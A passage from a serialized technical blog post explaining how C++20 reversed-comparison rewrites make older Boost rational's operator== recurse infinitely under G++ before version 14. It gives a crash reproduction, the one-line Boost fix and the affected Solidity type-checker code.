./test\n",[92514],{"type":22,"tag":114,"props":92515,"children":92516},{"__ignoreMap":7},[92517],{"type":22,"tag":118,"props":92518,"children":92519},{"class":120,"line":121},[92520,92525,92529,92533,92537,92541,92545],{"type":22,"tag":118,"props":92521,"children":92522},{"style":532},[92523],{"type":28,"value":92524},"clang++",{"type":22,"tag":118,"props":92526,"children":92527},{"style":1866},[92528],{"type":28,"value":92464},{"type":22,"tag":118,"props":92530,"children":92531},{"style":1866},[92532],{"type":28,"value":92469},{"type":22,"tag":118,"props":92534,"children":92535},{"style":1866},[92536],{"type":28,"value":92474},{"type":22,"tag":118,"props":92538,"children":92539},{"style":1866},[92540],{"type":28,"value":32616},{"type":22,"tag":118,"props":92542,"children":92543},{"style":125},[92544],{"type":28,"value":92483},{"type":22,"tag":118,"props":92546,"children":92547},{"style":532},[92548],{"type":28,"value":92488},{"type":22,"tag":31,"props":92550,"children":92551},{},[92552],{"type":28,"value":92553},"Output:",{"type":22,"tag":107,"props":92555,"children":92557},{"code":92556},"clang++ resolved member\n",[92558],{"type":22,"tag":114,"props":92559,"children":92560},{"__ignoreMap":7},[92561],{"type":28,"value":92556},{"type":22,"tag":31,"props":92563,"children":92564},{},[92565],{"type":28,"value":92566},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":22,"tag":20760,"props":92568,"children":92569},{},[],{"type":22,"tag":23,"props":92571,"children":92573},{"id":92572},"part-ii-c20s-symmetric-comparison-feature",[92574],{"type":28,"value":92575},"Part II: C++20’s Symmetric Comparison Feature",{"type":22,"tag":1289,"props":92577,"children":92579},{"id":92578},"what-changed-in-c20",[92580],{"type":28,"value":92581},"What Changed in C++20?",{"type":22,"tag":31,"props":92583,"children":92584},{},[92585,92587,92600,92601,92606],{"type":28,"value":92586},"C++20 introduced the ",{"type":22,"tag":42,"props":92588,"children":92591},{"href":92589,"rel":92590},"https://en.cppreference.com/w/cpp/language/operator_comparison",[46],[92592,92594],{"type":28,"value":92593},"spaceship operator ",{"type":22,"tag":114,"props":92595,"children":92597},{"className":92596},[],[92598],{"type":28,"value":92599},"\u003C=>",{"type":28,"value":12991},{"type":22,"tag":74,"props":92602,"children":92603},{},[92604],{"type":28,"value":92605},"defaulted comparison rewrites",{"type":28,"value":292},{"type":22,"tag":31,"props":92608,"children":92609},{},[92610,92612,92617],{"type":28,"value":92611},"When you define a two-argument ",{"type":22,"tag":114,"props":92613,"children":92615},{"className":92614},[],[92616],{"type":28,"value":91851},{"type":28,"value":92618},", C++20 may implicitly define the \"reversed\" version:",{"type":22,"tag":64,"props":92620,"children":92621},{},[92622,92633],{"type":22,"tag":68,"props":92623,"children":92624},{},[92625,92627],{"type":28,"value":92626},"If you define: ",{"type":22,"tag":114,"props":92628,"children":92630},{"className":92629},[],[92631],{"type":28,"value":92632},"bool operator==(T1, T2);",{"type":22,"tag":68,"props":92634,"children":92635},{},[92636,92638,92644],{"type":28,"value":92637},"Then ",{"type":22,"tag":114,"props":92639,"children":92641},{"className":92640},[],[92642],{"type":28,"value":92643},"T2 == T1",{"type":28,"value":92645}," may call the same function by reversing the arguments.",{"type":22,"tag":31,"props":92647,"children":92648},{},[92649,92651,92656,92657,92662,92664,92670,92672,92677],{"type":28,"value":92650},"This rewrite is ",{"type":22,"tag":74,"props":92652,"children":92653},{},[92654],{"type":28,"value":92655},"recursive",{"type":28,"value":1319},{"type":22,"tag":114,"props":92658,"children":92660},{"className":92659},[],[92661],{"type":28,"value":91843},{"type":28,"value":92663}," becomes ",{"type":22,"tag":114,"props":92665,"children":92667},{"className":92666},[],[92668],{"type":28,"value":92669},"b == a",{"type":28,"value":92671},", which becomes ",{"type":22,"tag":114,"props":92673,"children":92675},{"className":92674},[],[92676],{"type":28,"value":91843},{"type":28,"value":92678}," again, and so on — if not handled carefully.",{"type":22,"tag":31,"props":92680,"children":92681},{},[92682],{"type":28,"value":92683},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":22,"tag":20760,"props":92685,"children":92686},{},[],{"type":22,"tag":23,"props":92688,"children":92690},{"id":92689},"part-iii-the-boost-trapdoor",[92691],{"type":28,"value":92692},"Part III: The Boost Trapdoor",{"type":22,"tag":31,"props":92694,"children":92695},{},[92696,92698,92704,92706,92711],{"type":28,"value":92697},"The old Boost ",{"type":22,"tag":114,"props":92699,"children":92701},{"className":92700},[],[92702],{"type":28,"value":92703},"rational",{"type":28,"value":92705}," class (prior to v1.75) defined both member function and non-member function of ",{"type":22,"tag":114,"props":92707,"children":92709},{"className":92708},[],[92710],{"type":28,"value":91851},{"type":28,"value":213},{"type":22,"tag":107,"props":92713,"children":92715},{"code":92714,"language":31050,"meta":7,"className":31048,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[92716],{"type":22,"tag":114,"props":92717,"children":92718},{"__ignoreMap":7},[92719,92754,92777,92789,92796,92803,92810,92817,92824,92847,92935,92942,92993,93000,93007,93014,93021,93056,93064,93092,93131,93196,93203,93223],{"type":22,"tag":118,"props":92720,"children":92721},{"class":120,"line":121},[92722,92726,92730,92734,92738,92742,92746,92750],{"type":22,"tag":118,"props":92723,"children":92724},{"style":146},[92725],{"type":28,"value":68157},{"type":22,"tag":118,"props":92727,"children":92728},{"style":125},[92729],{"type":28,"value":2197},{"type":22,"tag":118,"props":92731,"children":92732},{"style":146},[92733],{"type":28,"value":72349},{"type":22,"tag":118,"props":92735,"children":92736},{"style":131},[92737],{"type":28,"value":92225},{"type":22,"tag":118,"props":92739,"children":92740},{"style":125},[92741],{"type":28,"value":231},{"type":22,"tag":118,"props":92743,"children":92744},{"style":146},[92745],{"type":28,"value":72349},{"type":22,"tag":118,"props":92747,"children":92748},{"style":131},[92749],{"type":28,"value":92044},{"type":22,"tag":118,"props":92751,"children":92752},{"style":125},[92753],{"type":28,"value":8002},{"type":22,"tag":118,"props":92755,"children":92756},{"class":120,"line":142},[92757,92761,92765,92769,92773],{"type":22,"tag":118,"props":92758,"children":92759},{"style":146},[92760],{"type":28,"value":68157},{"type":22,"tag":118,"props":92762,"children":92763},{"style":125},[92764],{"type":28,"value":2197},{"type":22,"tag":118,"props":92766,"children":92767},{"style":146},[92768],{"type":28,"value":92039},{"type":22,"tag":118,"props":92770,"children":92771},{"style":131},[92772],{"type":28,"value":92044},{"type":22,"tag":118,"props":92774,"children":92775},{"style":125},[92776],{"type":28,"value":8002},{"type":22,"tag":118,"props":92778,"children":92779},{"class":120,"line":177},[92780,92784],{"type":22,"tag":118,"props":92781,"children":92782},{"style":146},[92783],{"type":28,"value":72349},{"type":22,"tag":118,"props":92785,"children":92786},{"style":131},[92787],{"type":28,"value":92788}," rational\n",{"type":22,"tag":118,"props":92790,"children":92791},{"class":120,"line":195},[92792],{"type":22,"tag":118,"props":92793,"children":92794},{"style":125},[92795],{"type":28,"value":12879},{"type":22,"tag":118,"props":92797,"children":92798},{"class":120,"line":244},[92799],{"type":22,"tag":118,"props":92800,"children":92801},{"style":125},[92802],{"type":28,"value":22302},{"type":22,"tag":118,"props":92804,"children":92805},{"class":120,"line":253},[92806],{"type":22,"tag":118,"props":92807,"children":92808},{"style":146},[92809],{"type":28,"value":92072},{"type":22,"tag":118,"props":92811,"children":92812},{"class":120,"line":263},[92813],{"type":22,"tag":118,"props":92814,"children":92815},{"style":125},[92816],{"type":28,"value":22302},{"type":22,"tag":118,"props":92818,"children":92819},{"class":120,"line":318},[92820],{"type":22,"tag":118,"props":92821,"children":92822},{"style":125},[92823],{"type":28,"value":63727},{"type":22,"tag":118,"props":92825,"children":92826},{"class":120,"line":351},[92827,92831,92835,92839,92843],{"type":22,"tag":118,"props":92828,"children":92829},{"style":146},[92830],{"type":28,"value":92080},{"type":22,"tag":118,"props":92832,"children":92833},{"style":125},[92834],{"type":28,"value":2197},{"type":22,"tag":118,"props":92836,"children":92837},{"style":146},[92838],{"type":28,"value":72349},{"type":22,"tag":118,"props":92840,"children":92841},{"style":131},[92842],{"type":28,"value":7928},{"type":22,"tag":118,"props":92844,"children":92845},{"style":125},[92846],{"type":28,"value":8002},{"type":22,"tag":118,"props":92848,"children":92849},{"class":120,"line":359},[92850,92855,92859,92864,92868,92872,92876,92881,92885,92889,92893,92897,92901,92905,92910,92914,92918,92922,92926,92930],{"type":22,"tag":118,"props":92851,"children":92852},{"style":125},[92853],{"type":28,"value":92854},"    BOOST_CONSTEXPR ",{"type":22,"tag":118,"props":92856,"children":92857},{"style":146},[92858],{"type":28,"value":92039},{"type":22,"tag":118,"props":92860,"children":92861},{"style":125},[92862],{"type":28,"value":92863}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":22,"tag":118,"props":92865,"children":92866},{"style":131},[92867],{"type":28,"value":7997},{"type":22,"tag":118,"props":92869,"children":92870},{"style":125},[92871],{"type":28,"value":231},{"type":22,"tag":118,"props":92873,"children":92874},{"style":131},[92875],{"type":28,"value":92273},{"type":22,"tag":118,"props":92877,"children":92878},{"style":125},[92879],{"type":28,"value":92880},">::",{"type":22,"tag":118,"props":92882,"children":92883},{"style":131},[92884],{"type":28,"value":41093},{"type":22,"tag":118,"props":92886,"children":92887},{"style":125},[92888],{"type":28,"value":231},{"type":22,"tag":118,"props":92890,"children":92891},{"style":146},[92892],{"type":28,"value":3065},{"type":22,"tag":118,"props":92894,"children":92895},{"style":125},[92896],{"type":28,"value":92880},{"type":22,"tag":118,"props":92898,"children":92899},{"style":131},[92900],{"type":28,"value":34695},{"type":22,"tag":118,"props":92902,"children":92903},{"style":146},[92904],{"type":28,"value":92108},{"type":22,"tag":118,"props":92906,"children":92907},{"style":125},[92908],{"type":28,"value":92909},"== (",{"type":22,"tag":118,"props":92911,"children":92912},{"style":146},[92913],{"type":28,"value":11653},{"type":22,"tag":118,"props":92915,"children":92916},{"style":131},[92917],{"type":28,"value":7928},{"type":22,"tag":118,"props":92919,"children":92920},{"style":146},[92921],{"type":28,"value":1407},{"type":22,"tag":118,"props":92923,"children":92924},{"style":204},[92925],{"type":28,"value":5416},{"type":22,"tag":118,"props":92927,"children":92928},{"style":125},[92929],{"type":28,"value":588},{"type":22,"tag":118,"props":92931,"children":92932},{"style":146},[92933],{"type":28,"value":92934},"const\n",{"type":22,"tag":118,"props":92936,"children":92937},{"class":120,"line":368},[92938],{"type":22,"tag":118,"props":92939,"children":92940},{"style":125},[92941],{"type":28,"value":31125},{"type":22,"tag":118,"props":92943,"children":92944},{"class":120,"line":384},[92945,92950,92955,92959,92963,92967,92971,92975,92979,92984,92988],{"type":22,"tag":118,"props":92946,"children":92947},{"style":1480},[92948],{"type":28,"value":92949},"       return",{"type":22,"tag":118,"props":92951,"children":92952},{"style":125},[92953],{"type":28,"value":92954}," ((den ",{"type":22,"tag":118,"props":92956,"children":92957},{"style":210},[92958],{"type":28,"value":302},{"type":22,"tag":118,"props":92960,"children":92961},{"style":532},[92962],{"type":28,"value":92044},{"type":22,"tag":118,"props":92964,"children":92965},{"style":125},[92966],{"type":28,"value":540},{"type":22,"tag":118,"props":92968,"children":92969},{"style":674},[92970],{"type":28,"value":6026},{"type":22,"tag":118,"props":92972,"children":92973},{"style":125},[92974],{"type":28,"value":10838},{"type":22,"tag":118,"props":92976,"children":92977},{"style":210},[92978],{"type":28,"value":2187},{"type":22,"tag":118,"props":92980,"children":92981},{"style":125},[92982],{"type":28,"value":92983}," (num ",{"type":22,"tag":118,"props":92985,"children":92986},{"style":210},[92987],{"type":28,"value":302},{"type":22,"tag":118,"props":92989,"children":92990},{"style":125},[92991],{"type":28,"value":92992}," i));\n",{"type":22,"tag":118,"props":92994,"children":92995},{"class":120,"line":417},[92996],{"type":22,"tag":118,"props":92997,"children":92998},{"style":125},[92999],{"type":28,"value":1254},{"type":22,"tag":118,"props":93001,"children":93002},{"class":120,"line":425},[93003],{"type":22,"tag":118,"props":93004,"children":93005},{"style":125},[93006],{"type":28,"value":22302},{"type":22,"tag":118,"props":93008,"children":93009},{"class":120,"line":441},[93010],{"type":22,"tag":118,"props":93011,"children":93012},{"style":125},[93013],{"type":28,"value":481},{"type":22,"tag":118,"props":93015,"children":93016},{"class":120,"line":475},[93017],{"type":22,"tag":118,"props":93018,"children":93019},{"emptyLinePlaceholder":15},[93020],{"type":28,"value":250},{"type":22,"tag":118,"props":93022,"children":93023},{"class":120,"line":484},[93024,93028,93032,93036,93040,93044,93048,93052],{"type":22,"tag":118,"props":93025,"children":93026},{"style":146},[93027],{"type":28,"value":68157},{"type":22,"tag":118,"props":93029,"children":93030},{"style":125},[93031],{"type":28,"value":2197},{"type":22,"tag":118,"props":93033,"children":93034},{"style":146},[93035],{"type":28,"value":72349},{"type":22,"tag":118,"props":93037,"children":93038},{"style":131},[93039],{"type":28,"value":92225},{"type":22,"tag":118,"props":93041,"children":93042},{"style":125},[93043],{"type":28,"value":231},{"type":22,"tag":118,"props":93045,"children":93046},{"style":146},[93047],{"type":28,"value":72349},{"type":22,"tag":118,"props":93049,"children":93050},{"style":131},[93051],{"type":28,"value":92044},{"type":22,"tag":118,"props":93053,"children":93054},{"style":125},[93055],{"type":28,"value":8002},{"type":22,"tag":118,"props":93057,"children":93058},{"class":120,"line":492},[93059],{"type":22,"tag":118,"props":93060,"children":93061},{"style":125},[93062],{"type":28,"value":93063},"BOOST_CONSTEXPR\n",{"type":22,"tag":118,"props":93065,"children":93066},{"class":120,"line":501},[93067,93072,93077,93082,93087],{"type":22,"tag":118,"props":93068,"children":93069},{"style":146},[93070],{"type":28,"value":93071},"inline",{"type":22,"tag":118,"props":93073,"children":93074},{"style":146},[93075],{"type":28,"value":93076}," typename",{"type":22,"tag":118,"props":93078,"children":93079},{"style":125},[93080],{"type":28,"value":93081}," boost::",{"type":22,"tag":118,"props":93083,"children":93084},{"style":131},[93085],{"type":28,"value":93086},"enable_if_c",{"type":22,"tag":118,"props":93088,"children":93089},{"style":210},[93090],{"type":28,"value":93091}," \u003C\n",{"type":22,"tag":118,"props":93093,"children":93094},{"class":120,"line":519},[93095,93100,93105,93109,93113,93118,93122,93126],{"type":22,"tag":118,"props":93096,"children":93097},{"style":125},[93098],{"type":28,"value":93099},"   rational_detail::is_compatible_integer\u003C",{"type":22,"tag":118,"props":93101,"children":93102},{"style":131},[93103],{"type":28,"value":93104},"Arg",{"type":22,"tag":118,"props":93106,"children":93107},{"style":125},[93108],{"type":28,"value":231},{"type":22,"tag":118,"props":93110,"children":93111},{"style":131},[93112],{"type":28,"value":92273},{"type":22,"tag":118,"props":93114,"children":93115},{"style":125},[93116],{"type":28,"value":93117},">::value, ",{"type":22,"tag":118,"props":93119,"children":93120},{"style":146},[93121],{"type":28,"value":3065},{"type":22,"tag":118,"props":93123,"children":93124},{"style":210},[93125],{"type":28,"value":12460},{"type":22,"tag":118,"props":93127,"children":93128},{"style":125},[93129],{"type":28,"value":93130},"::type\n",{"type":22,"tag":118,"props":93132,"children":93133},{"class":120,"line":606},[93134,93139,93144,93148,93152,93156,93160,93164,93168,93172,93176,93180,93184,93188,93192],{"type":22,"tag":118,"props":93135,"children":93136},{"style":146},[93137],{"type":28,"value":93138},"   operator",{"type":22,"tag":118,"props":93140,"children":93141},{"style":125},[93142],{"type":28,"value":93143}," == (",{"type":22,"tag":118,"props":93145,"children":93146},{"style":146},[93147],{"type":28,"value":11653},{"type":22,"tag":118,"props":93149,"children":93150},{"style":131},[93151],{"type":28,"value":92225},{"type":22,"tag":118,"props":93153,"children":93154},{"style":146},[93155],{"type":28,"value":1407},{"type":22,"tag":118,"props":93157,"children":93158},{"style":204},[93159],{"type":28,"value":92306},{"type":22,"tag":118,"props":93161,"children":93162},{"style":125},[93163],{"type":28,"value":231},{"type":22,"tag":118,"props":93165,"children":93166},{"style":146},[93167],{"type":28,"value":11653},{"type":22,"tag":118,"props":93169,"children":93170},{"style":131},[93171],{"type":28,"value":92060},{"type":22,"tag":118,"props":93173,"children":93174},{"style":125},[93175],{"type":28,"value":559},{"type":22,"tag":118,"props":93177,"children":93178},{"style":131},[93179],{"type":28,"value":92273},{"type":22,"tag":118,"props":93181,"children":93182},{"style":125},[93183],{"type":28,"value":12460},{"type":22,"tag":118,"props":93185,"children":93186},{"style":146},[93187],{"type":28,"value":1407},{"type":22,"tag":118,"props":93189,"children":93190},{"style":204},[93191],{"type":28,"value":91432},{"type":22,"tag":118,"props":93193,"children":93194},{"style":125},[93195],{"type":28,"value":3665},{"type":22,"tag":118,"props":93197,"children":93198},{"class":120,"line":615},[93199],{"type":22,"tag":118,"props":93200,"children":93201},{"style":125},[93202],{"type":28,"value":12879},{"type":22,"tag":118,"props":93204,"children":93205},{"class":120,"line":685},[93206,93210,93214,93218],{"type":22,"tag":118,"props":93207,"children":93208},{"style":1480},[93209],{"type":28,"value":41298},{"type":22,"tag":118,"props":93211,"children":93212},{"style":125},[93213],{"type":28,"value":18729},{"type":22,"tag":118,"props":93215,"children":93216},{"style":210},[93217],{"type":28,"value":302},{"type":22,"tag":118,"props":93219,"children":93220},{"style":125},[93221],{"type":28,"value":93222}," b; \n",{"type":22,"tag":118,"props":93224,"children":93225},{"class":120,"line":699},[93226],{"type":22,"tag":118,"props":93227,"children":93228},{"style":125},[93229],{"type":28,"value":481},{"type":22,"tag":31,"props":93231,"children":93232},{},[93233,93235,93241],{"type":28,"value":93234},"This was designed under C++17 semantics. Back then, ",{"type":22,"tag":114,"props":93236,"children":93238},{"className":93237},[],[93239],{"type":28,"value":93240},"rhs == lhs",{"type":28,"value":93242}," would fall back to member overloads if available. All good.",{"type":22,"tag":31,"props":93244,"children":93245},{},[93246,93248,93253,93254,93260],{"type":28,"value":93247},"But under ",{"type":22,"tag":114,"props":93249,"children":93251},{"className":93250},[],[93252],{"type":28,"value":91797},{"type":28,"value":23458},{"type":22,"tag":114,"props":93255,"children":93257},{"className":93256},[],[93258],{"type":28,"value":93259},"G++ \u003C 14",{"type":28,"value":213},{"type":22,"tag":64,"props":93262,"children":93263},{},[93264,93269,93274,93279],{"type":22,"tag":68,"props":93265,"children":93266},{},[93267],{"type":28,"value":93268},"G++ incorrectly chooses this non-member operator first",{"type":22,"tag":68,"props":93270,"children":93271},{},[93272],{"type":28,"value":93273},"C++20 reverses the comparison",{"type":22,"tag":68,"props":93275,"children":93276},{},[93277],{"type":28,"value":93278},"Which calls the same function again with arguments flipped",{"type":22,"tag":68,"props":93280,"children":93281},{},[93282],{"type":28,"value":93283},"And so on...",{"type":22,"tag":31,"props":93285,"children":93286},{},[93287,93289,93294],{"type":28,"value":93288},"This creates ",{"type":22,"tag":74,"props":93290,"children":93291},{},[93292],{"type":28,"value":93293},"infinite recursion",{"type":28,"value":292},{"type":22,"tag":31,"props":93296,"children":93297},{},[93298],{"type":28,"value":93299},"A minimal example:",{"type":22,"tag":107,"props":93301,"children":93303},{"code":93302,"language":31050,"meta":7,"className":31048,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[93304],{"type":22,"tag":114,"props":93305,"children":93306},{"__ignoreMap":7},[93307,93315,93327,93334,93349,93373,93396],{"type":22,"tag":118,"props":93308,"children":93309},{"class":120,"line":121},[93310],{"type":22,"tag":118,"props":93311,"children":93312},{"style":257},[93313],{"type":28,"value":93314},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":22,"tag":118,"props":93316,"children":93317},{"class":120,"line":142},[93318,93322],{"type":22,"tag":118,"props":93319,"children":93320},{"style":1480},[93321],{"type":28,"value":92011},{"type":22,"tag":118,"props":93323,"children":93324},{"style":1866},[93325],{"type":28,"value":93326}," \u003Cboost/rational.hpp>\n",{"type":22,"tag":118,"props":93328,"children":93329},{"class":120,"line":177},[93330],{"type":22,"tag":118,"props":93331,"children":93332},{"emptyLinePlaceholder":15},[93333],{"type":28,"value":250},{"type":22,"tag":118,"props":93335,"children":93336},{"class":120,"line":195},[93337,93341,93345],{"type":22,"tag":118,"props":93338,"children":93339},{"style":146},[93340],{"type":28,"value":21014},{"type":22,"tag":118,"props":93342,"children":93343},{"style":532},[93344],{"type":28,"value":92376},{"type":22,"tag":118,"props":93346,"children":93347},{"style":125},[93348],{"type":28,"value":2215},{"type":22,"tag":118,"props":93350,"children":93351},{"class":120,"line":244},[93352,93357,93361,93365,93369],{"type":22,"tag":118,"props":93353,"children":93354},{"style":125},[93355],{"type":28,"value":93356},"    boost::rational",{"type":22,"tag":118,"props":93358,"children":93359},{"style":210},[93360],{"type":28,"value":559},{"type":22,"tag":118,"props":93362,"children":93363},{"style":146},[93364],{"type":28,"value":21014},{"type":22,"tag":118,"props":93366,"children":93367},{"style":210},[93368],{"type":28,"value":12460},{"type":22,"tag":118,"props":93370,"children":93371},{"style":125},[93372],{"type":28,"value":92405},{"type":22,"tag":118,"props":93374,"children":93375},{"class":120,"line":253},[93376,93380,93384,93388,93392],{"type":22,"tag":118,"props":93377,"children":93378},{"style":1480},[93379],{"type":28,"value":18954},{"type":22,"tag":118,"props":93381,"children":93382},{"style":125},[93383],{"type":28,"value":92417},{"type":22,"tag":118,"props":93385,"children":93386},{"style":210},[93387],{"type":28,"value":302},{"type":22,"tag":118,"props":93389,"children":93390},{"style":674},[93391],{"type":28,"value":5074},{"type":22,"tag":118,"props":93393,"children":93394},{"style":125},[93395],{"type":28,"value":801},{"type":22,"tag":118,"props":93397,"children":93398},{"class":120,"line":263},[93399],{"type":22,"tag":118,"props":93400,"children":93401},{"style":125},[93402],{"type":28,"value":481},{"type":22,"tag":31,"props":93404,"children":93405},{},[93406],{"type":28,"value":93407},"Expected output: nothing.",{"type":22,"tag":31,"props":93409,"children":93410},{},[93411],{"type":28,"value":93412},"Actual: segmentation fault (stack overflow).",{"type":22,"tag":31,"props":93414,"children":93415},{},[93416,93418,93425],{"type":28,"value":93417},"This exact pattern was ",{"type":22,"tag":42,"props":93419,"children":93422},{"href":93420,"rel":93421},"https://github.com/boostorg/rational/issues/43",[46],[93423],{"type":28,"value":93424},"reported and fixed in Boost rational",{"type":28,"value":93426},", but only in version 1.75+.",{"type":22,"tag":31,"props":93428,"children":93429},{},[93430],{"type":28,"value":93431},"Here’s the one-line fix:",{"type":22,"tag":107,"props":93433,"children":93435},{"code":93434,"language":1914,"meta":7,"className":1912,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[93436],{"type":22,"tag":114,"props":93437,"children":93438},{"__ignoreMap":7},[93439,93447,93454,93462,93470,93478,93485,93493,93501],{"type":22,"tag":118,"props":93440,"children":93441},{"class":120,"line":121},[93442],{"type":22,"tag":118,"props":93443,"children":93444},{"style":125},[93445],{"type":28,"value":93446},"template \u003Cclass Arg, class IntType>\n",{"type":22,"tag":118,"props":93448,"children":93449},{"class":120,"line":142},[93450],{"type":22,"tag":118,"props":93451,"children":93452},{"style":125},[93453],{"type":28,"value":93063},{"type":22,"tag":118,"props":93455,"children":93456},{"class":120,"line":177},[93457],{"type":22,"tag":118,"props":93458,"children":93459},{"style":125},[93460],{"type":28,"value":93461},"inline typename boost::enable_if_c \u003C\n",{"type":22,"tag":118,"props":93463,"children":93464},{"class":120,"line":195},[93465],{"type":22,"tag":118,"props":93466,"children":93467},{"style":125},[93468],{"type":28,"value":93469},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":22,"tag":118,"props":93471,"children":93472},{"class":120,"line":244},[93473],{"type":22,"tag":118,"props":93474,"children":93475},{"style":125},[93476],{"type":28,"value":93477},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":22,"tag":118,"props":93479,"children":93480},{"class":120,"line":253},[93481],{"type":22,"tag":118,"props":93482,"children":93483},{"style":125},[93484],{"type":28,"value":12879},{"type":22,"tag":118,"props":93486,"children":93487},{"class":120,"line":263},[93488],{"type":22,"tag":118,"props":93489,"children":93490},{"style":1866},[93491],{"type":28,"value":93492},"-     return a == b;\n",{"type":22,"tag":118,"props":93494,"children":93495},{"class":120,"line":318},[93496],{"type":22,"tag":118,"props":93497,"children":93498},{"style":674},[93499],{"type":28,"value":93500},"+     return a.operator==(b);\n",{"type":22,"tag":118,"props":93502,"children":93503},{"class":120,"line":351},[93504],{"type":22,"tag":118,"props":93505,"children":93506},{"style":125},[93507],{"type":28,"value":481},{"type":22,"tag":31,"props":93509,"children":93510},{},[93511,93513,93518,93520,93525],{"type":28,"value":93512},"Instead of calling ",{"type":22,"tag":114,"props":93514,"children":93516},{"className":93515},[],[93517],{"type":28,"value":91843},{"type":28,"value":93519}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":22,"tag":114,"props":93521,"children":93523},{"className":93522},[],[93524],{"type":28,"value":91851},{"type":28,"value":292},{"type":22,"tag":31,"props":93527,"children":93528},{},[93529],{"type":28,"value":93530},"This prevents C++20 from triggering recursive rewrites.",{"type":22,"tag":20760,"props":93532,"children":93533},{},[],{"type":22,"tag":23,"props":93535,"children":93537},{"id":93536},"part-iv-how-this-breaks-solidity",[93538],{"type":28,"value":93539},"Part IV: How This Breaks Solidity",{"type":22,"tag":31,"props":93541,"children":93542},{},[93543,93545,93550],{"type":28,"value":93544},"The Solidity codebase uses ",{"type":22,"tag":114,"props":93546,"children":93548},{"className":93547},[],[93549],{"type":28,"value":91698},{"type":28,"value":93551}," to represent certain compile-time constant expressions.",{"type":22,"tag":31,"props":93553,"children":93554},{},[93555,93557,93563],{"type":28,"value":93556},"One snippet that can trigger this issue appears in ",{"type":22,"tag":114,"props":93558,"children":93560},{"className":93559},[],[93561],{"type":28,"value":93562},"DeclarationTypeChecker::endVisit",{"type":28,"value":213},{"type":22,"tag":107,"props":93565,"children":93567},{"code":93566,"language":31050,"meta":7,"className":31048,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[93568],{"type":22,"tag":114,"props":93569,"children":93570},{"__ignoreMap":7},[93571,93618,93643,93650,93728,93735,93788,93816,93823,93843,93850,93890,93897],{"type":22,"tag":118,"props":93572,"children":93573},{"class":120,"line":121},[93574,93578,93583,93587,93591,93596,93600,93605,93609,93613],{"type":22,"tag":118,"props":93575,"children":93576},{"style":1480},[93577],{"type":28,"value":17553},{"type":22,"tag":118,"props":93579,"children":93580},{"style":125},[93581],{"type":28,"value":93582}," (Expression ",{"type":22,"tag":118,"props":93584,"children":93585},{"style":146},[93586],{"type":28,"value":11653},{"type":22,"tag":118,"props":93588,"children":93589},{"style":210},[93590],{"type":28,"value":671},{"type":22,"tag":118,"props":93592,"children":93593},{"style":125},[93594],{"type":28,"value":93595}," length ",{"type":22,"tag":118,"props":93597,"children":93598},{"style":210},[93599],{"type":28,"value":282},{"type":22,"tag":118,"props":93601,"children":93602},{"style":204},[93603],{"type":28,"value":93604}," _typeName",{"type":22,"tag":118,"props":93606,"children":93607},{"style":125},[93608],{"type":28,"value":292},{"type":22,"tag":118,"props":93610,"children":93611},{"style":532},[93612],{"type":28,"value":10506},{"type":22,"tag":118,"props":93614,"children":93615},{"style":125},[93616],{"type":28,"value":93617},"()) {\n",{"type":22,"tag":118,"props":93619,"children":93620},{"class":120,"line":142},[93621,93626,93630,93634,93638],{"type":22,"tag":118,"props":93622,"children":93623},{"style":125},[93624],{"type":28,"value":93625},"    std::optional",{"type":22,"tag":118,"props":93627,"children":93628},{"style":210},[93629],{"type":28,"value":559},{"type":22,"tag":118,"props":93631,"children":93632},{"style":125},[93633],{"type":28,"value":92703},{"type":22,"tag":118,"props":93635,"children":93636},{"style":210},[93637],{"type":28,"value":12460},{"type":22,"tag":118,"props":93639,"children":93640},{"style":125},[93641],{"type":28,"value":93642}," lengthValue;\n",{"type":22,"tag":118,"props":93644,"children":93645},{"class":120,"line":177},[93646],{"type":22,"tag":118,"props":93647,"children":93648},{"emptyLinePlaceholder":15},[93649],{"type":28,"value":250},{"type":22,"tag":118,"props":93651,"children":93652},{"class":120,"line":195},[93653,93657,93661,93665,93669,93673,93677,93681,93685,93690,93694,93698,93702,93706,93710,93715,93719,93723],{"type":22,"tag":118,"props":93654,"children":93655},{"style":1480},[93656],{"type":28,"value":2159},{"type":22,"tag":118,"props":93658,"children":93659},{"style":125},[93660],{"type":28,"value":842},{"type":22,"tag":118,"props":93662,"children":93663},{"style":204},[93664],{"type":28,"value":10506},{"type":22,"tag":118,"props":93666,"children":93667},{"style":125},[93668],{"type":28,"value":593},{"type":22,"tag":118,"props":93670,"children":93671},{"style":532},[93672],{"type":28,"value":32101},{"type":22,"tag":118,"props":93674,"children":93675},{"style":125},[93676],{"type":28,"value":32106},{"type":22,"tag":118,"props":93678,"children":93679},{"style":204},[93680],{"type":28,"value":34695},{"type":22,